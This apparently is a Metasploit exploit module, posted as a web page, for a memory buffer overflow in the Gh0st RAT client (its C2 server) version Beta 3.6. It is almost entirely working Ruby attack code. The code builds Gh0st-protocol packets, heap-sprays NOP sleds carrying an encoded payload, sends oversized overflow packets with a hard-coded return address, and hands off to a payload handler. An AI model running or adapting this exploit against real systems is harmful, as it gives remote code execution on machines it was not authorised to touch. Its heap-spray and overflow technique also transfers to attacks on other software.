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Gh0st Client Buffer Overflow

Posted on 07 September 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Gh0st Client buffer Overflow',
'Description' => %q{
This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
},
'Author' => 'Professor Plum',
'License' => MSF_LICENSE,
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'AllowWin32SEH' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => '',
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'DisclosureDate' => 'Jul 27 2017',
'Targets' =>
[
['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
],
'Privileged' => false,
'DefaultTarget' => 0))

register_options(
[
OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
Opt::RPORT(80)
]
)
end

def make_packet(id, data)
msg = id.chr + data
compressed = Zlib::Deflate.deflate(msg)
datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
end

def validate_response(data)
if data.nil?
print_status('Server closed connection')
return false
end
if data.empty?
print_status('No response recieved')
return false
end
if data.size < 13
print_status('Invalid packet')
print_status(data)
return false
end
mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
if mag.index(datastore['MAGIC']) != 0
print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
return false
end
if pktlen != data.size
print_status('Packet size mismatch')
return false
end
msg = Zlib::Inflate.inflate(data[13..data.size])
if msg.size != msglen
print_status('Packet decompress failure')
return false
end
return true
end

def check
connect
sock.put(make_packet(101, "x00")) # heartbeat
if validate_response(sock.get_once || '')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end

def exploit
print_status("Trying target #{target.name}")
print_status('Spraying heap...')
for i in 0..100
connect
sock.put(make_packet(101, "x90" * 3 + "x90x83xc0x05" * 1024 * 1024 + payload.encoded))
if not validate_response(sock.get_once)
disconnect
return
end
end

for i in 103..107
print_status("Trying command #{i}...")
begin
connect
sploit = make_packet(i, "" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
sock.put(sploit)
if validate_response(sock.get_once)
next
end
sleep(0.1)
break
rescue EOFError
print_status('Invalid')
end
end
handler
disconnect
end
end

 

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